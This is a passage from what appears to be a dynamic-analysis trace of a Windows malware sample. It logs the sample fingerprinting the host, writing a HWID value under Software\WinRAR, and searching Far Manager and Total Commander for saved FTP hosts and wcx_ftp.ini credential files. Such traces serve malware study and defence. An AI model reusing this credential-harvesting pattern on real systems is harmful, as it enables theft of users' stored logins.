LocalAlloc (uFlags=0x40, uBytes=0x480) returned 0x640d18 [0068.364] GetLocaleInfoA (in: Locale=0x400, LCType=0x1002, lpLCData=0x640d18, cchData=1023 | out: lpLCData="United States") returned 14 [0068.364] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdfc*=0xe, cb=0x4, pcbWritten=0x12fdd8 | out: pcbWritten=0x12fdd8*=0x4) returned 0x0 [0068.364] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x640d18*=0x55, cb=0xe, pcbWritten=0x12fdd4 | out: pcbWritten=0x12fdd4*=0xe) returned 0x0 [0068.364] GetLocaleInfoA (in: Locale=0x400, LCType=0x1001, lpLCData=0x640d18, cchData=1023 | out: lpLCData="English") returned 8 [0068.364] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdfc*=0x8, cb=0x4, pcbWritten=0x12fdd8 | out: pcbWritten=0x12fdd8*=0x4) returned 0x0 [0068.364] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x640d18*=0x45, cb=0x8, pcbWritten=0x12fdd4 | out: pcbWritten=0x12fdd4*=0x8) returned 0x0 [0068.364] AllocateAndInitializeSid (in: pIdentifierAuthority=0x12fe06, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x12fe00 | out: pSid=0x12fe00*=0x622820*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0068.364] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x622820*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x12fdfc | out: IsMember=0x12fdfc) returned 1 [0068.364] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fe10*=0x1, cb=0x4, pcbWritten=0x12fdec | out: pcbWritten=0x12fdec*=0x4) returned 0x0 [0068.364] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fc34 | out: phkResult=0x12fc34*=0x0) returned 0x2 [0068.364] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fc08 | out: phkResult=0x12fc08*=0x0) returned 0x2 [0068.364] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fbdc | out: phkResult=0x12fbdc*=0x0) returned 0x2 [0068.364] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0x12fc73 | out: lpBuffer="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\") returned 0x24 [0068.364] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12fd80 | out: ppstm=0x12fd80*=0x640648) returned 0x0 [0068.365] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\") returned 36 [0068.365] lstrlenA (lpString="HWID") returned 4 [0068.365] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x626eb8 [0068.365] lstrcpyA (in: lpString1=0x626eb8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\" [0068.365] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\", lpString2="HWID" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\HWID") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\HWID" [0068.365] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Temp\\HWID" (normalized: "c:\\users\\eebsym5\\appdata\\local\\temp\\hwid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.365] LocalFree (hMem=0x626eb8) returned 0x0 [0068.365] IUnknown:Release (This=0x640648) returned 0x0 [0068.365] CoCreateGuid (in: pguid=0x12fdfc | out: pguid=0x12fdfc*(Data1=0x5c32598a, Data2=0xeb1d, Data3=0x4e36, Data4=([0]=0xbb, [1]=0x75, [2]=0x4b, [3]=0xba, [4]=0xdb, [5]=0x75, [6]=0x5d, [7]=0xa4))) returned 0x0 [0068.365] wsprintfA (in: param_1=0x12fd98, param_2="{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" | out: param_1="{5C32598A-EB1D-4E36-BB75-4BBADB755DA4}") returned 38 [0068.365] lstrlenA (lpString="{5C32598A-EB1D-4E36-BB75-4BBADB755DA4}") returned 38 [0068.365] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", phkResult=0x12fd78 | out: phkResult=0x12fd78*=0x118) returned 0x0 [0068.365] RegSetValueExA (in: hKey=0x118, lpValueName="HWID", Reserved=0x0, dwType=0x3, lpData=0x12fd98*, cbData=0x26 | out: lpData=0x12fd98*) returned 0x0 [0068.365] RegCloseKey (hKey=0x118) returned 0x0 [0068.365] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fcb4 | out: phkResult=0x12fcb4*=0x118) returned 0x0 [0068.365] RegQueryValueExA (in: hKey=0x118, lpValueName="HWID", lpReserved=0x0, lpType=0x12fcac, lpData=0x0, lpcbData=0x12fcb0*=0x10 | out: lpType=0x12fcac*=0x3, lpData=0x0, lpcbData=0x12fcb0*=0x26) returned 0x0 [0068.365] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0068.365] RegQueryValueExA (in: hKey=0x118, lpValueName="HWID", lpReserved=0x0, lpType=0x0, lpData=0x629248, lpcbData=0x12fcb0*=0x26 | out: lpType=0x0, lpData=0x629248*=0x7b, lpcbData=0x12fcb0*=0x26) returned 0x0 [0068.365] RegCloseKey (hKey=0x118) returned 0x0 [0068.365] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fe10*=0x2a, cb=0x4, pcbWritten=0x12fdec | out: pcbWritten=0x12fdec*=0x4) returned 0x0 [0068.365] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fe10*=0xff, cb=0x4, pcbWritten=0x12fdec | out: pcbWritten=0x12fdec*=0x4) returned 0x0 [0068.365] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x629248*=0x7b, cb=0x26, pcbWritten=0x12fde8 | out: pcbWritten=0x12fde8*=0x26) returned 0x0 [0068.365] LocalFree (hMem=0x629248) returned 0x0 [0068.365] LocalFree (hMem=0x640d18) returned 0x0 [0068.365] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x761d0000 [0068.366] GetProcAddress (hModule=0x761d0000, lpProcName="GetNativeSystemInfo") returned 0x7620be77 [0068.366] GetNativeSystemInfo (in: lpSystemInfo=0x12fe20 | out: lpSystemInfo=0x12fe20*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0068.366] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdfc*=0x24, cb=0x4, pcbWritten=0x12fdd8 | out: pcbWritten=0x12fdd8*=0x4) returned 0x0 [0068.366] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fe20*=0x0, cb=0x24, pcbWritten=0x12fdd4 | out: pcbWritten=0x12fdd4*=0x24) returned 0x0 [0068.366] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.366] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.366] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdfc*=0x30, cb=0x4, pcbWritten=0x12fdd8 | out: pcbWritten=0x12fdd8*=0x4) returned 0x0 [0068.366] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.366] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.366] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.366] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0068.366] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0068.366] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x1, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.366] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0068.366] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Far\\Plugins\\FTP\\Hosts", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0068.366] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Far2\\Plugins\\FTP\\Hosts", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0068.366] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Far Manager\\Plugins\\FTP\\Hosts", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0068.366] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Far\\SavedDialogHistory\\FTPHost", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0068.366] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Far2\\SavedDialogHistory\\FTPHost", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0068.366] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Far Manager\\SavedDialogHistory\\FTPHost", phkResult=0x12fed8 | out: phkResult=0x12fed8*=0x0) returned 0x2 [0068.366] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.366] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.366] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0068.367] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0068.367] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0068.367] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0068.367] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.367] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0068.367] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x8) returned 0x0 [0068.367] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fec8*=0x0, cb=0x4, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x4) returned 0x0 [0068.367] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fedc*=0x2, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0068.367] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x0, cb=0x2, pcbWritten=0x12fea0 | out: pcbWritten=0x12fea0*=0x2) returned 0x0 [0068.367] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.367] GetWindowsDirectoryA (in: lpBuffer=0x626a88, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0068.367] lstrlenA (lpString="C:\\Windows") returned 10 [0068.367] lstrlenA (lpString="\\") returned 1 [0068.367] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x626eb8 [0068.367] lstrcpyA (in: lpString1=0x626eb8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0068.367] lstrcatA (in: lpString1="C:\\Windows", lpString2="\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0068.367] LocalFree (hMem=0x626a88) returned 0x0 [0068.367] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.367] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.367] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.367] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.367] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.367] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.367] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.367] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.367] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.367] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.367] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.367] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.367] lstrlenA (lpString="C:\\Windows\\") returned 11 [0068.368] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0068.368] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x626a88 [0068.368] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Windows\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0068.368] lstrcatA (in: lpString1="C:\\Windows\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\Windows\\wcx_ftp.ini") returned="C:\\Windows\\wcx_ftp.ini" [0068.368] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x18 [0068.368] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x626b28 [0068.368] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\wcx_ftp.ini", lpDst=0x626b28, nSize=0x18 | out: lpDst="C:\\Windows\\wcx_ftp.ini") returned 0x17 [0068.368] CreateFileA (lpFileName="C:\\Windows\\wcx_ftp.ini" (normalized: "c:\\windows\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.368] LocalFree (hMem=0x626b28) returned 0x0 [0068.368] LocalFree (hMem=0x626a88) returned 0x0 [0068.368] LocalFree (hMem=0x626eb8) returned 0x0 [0068.368] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.368] SHGetFolderPathA (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5") returned 0x0 [0068.369] lstrlenA (lpString="C:\\Users\\EEBsYm5") returned 16 [0068.369] lstrlenA (lpString="\\") returned 1 [0068.369] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x640d18 [0068.369] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Users\\EEBsYm5" | out: lpString1="C:\\Users\\EEBsYm5") returned="C:\\Users\\EEBsYm5" [0068.369] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\") returned="C:\\Users\\EEBsYm5\\" [0068.369] LocalFree (hMem=0x626a88) returned 0x0 [0068.369] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.369] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.369] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.369] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.369] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.369] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.369] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.369] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.369] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.369] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.370] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.370] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.370] lstrlenA (lpString="C:\\Users\\EEBsYm5\\") returned 17 [0068.370] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0068.370] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x626a88 [0068.370] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\" | out: lpString1="C:\\Users\\EEBsYm5\\") returned="C:\\Users\\EEBsYm5\\" [0068.370] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\Users\\EEBsYm5\\wcx_ftp.ini") returned="C:\\Users\\EEBsYm5\\wcx_ftp.ini" [0068.370] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x1e [0068.370] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x626b30 [0068.370] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\wcx_ftp.ini", lpDst=0x626b30, nSize=0x1e | out: lpDst="C:\\Users\\EEBsYm5\\wcx_ftp.ini") returned 0x1d [0068.370] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\wcx_ftp.ini" (normalized: "c:\\users\\eebsym5\\wcx_ftp.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.370] LocalFree (hMem=0x626b30) returned 0x0 [0068.370] LocalFree (hMem=0x626a88) returned 0x0 [0068.370] LocalFree (hMem=0x640d18) returned 0x0 [0068.370] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.370] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.371] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.371] lstrlenA (lpString="\\GHISLER") returned 8 [0068.371] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x640d18 [0068.371] lstrcpyA (in: lpString1=0x640d18, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.371] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\GHISLER" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER" [0068.371] LocalFree (hMem=0x626a88) returned 0x0 [0068.371] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER") returned 40 [0068.371] lstrlenA (lpString="\\") returned 1 [0068.371] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x626a88 [0068.371] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER" [0068.371] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\" [0068.371] LocalFree (hMem=0x640d18) returned 0x0 [0068.371] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.371] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.371] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.371] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.371] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.371] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Windows Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.371] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.371] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.371] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.371] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe9c | out: phkResult=0x12fe9c*=0x0) returned 0x2 [0068.371] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe70 | out: phkResult=0x12fe70*=0x0) returned 0x2 [0068.371] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Ghisler\\Total Commander", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe44 | out: phkResult=0x12fe44*=0x0) returned 0x2 [0068.371] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\") returned 41 [0068.371] lstrlenA (lpString="wcx_ftp.ini") returned 11 [0068.371] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626b40 [0068.371] lstrcpyA (in: lpString1=0x626b40, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\" [0068.371] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\", lpString2="wcx_ftp.ini" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini" [0068.371] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x36 [0068.371] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x640d18 [0068.371] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini", lpDst=0x640d18, nSize=0x36 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\GHISLER\\wcx_ftp.ini") returned 0x35 [0068.371] CreateFileA 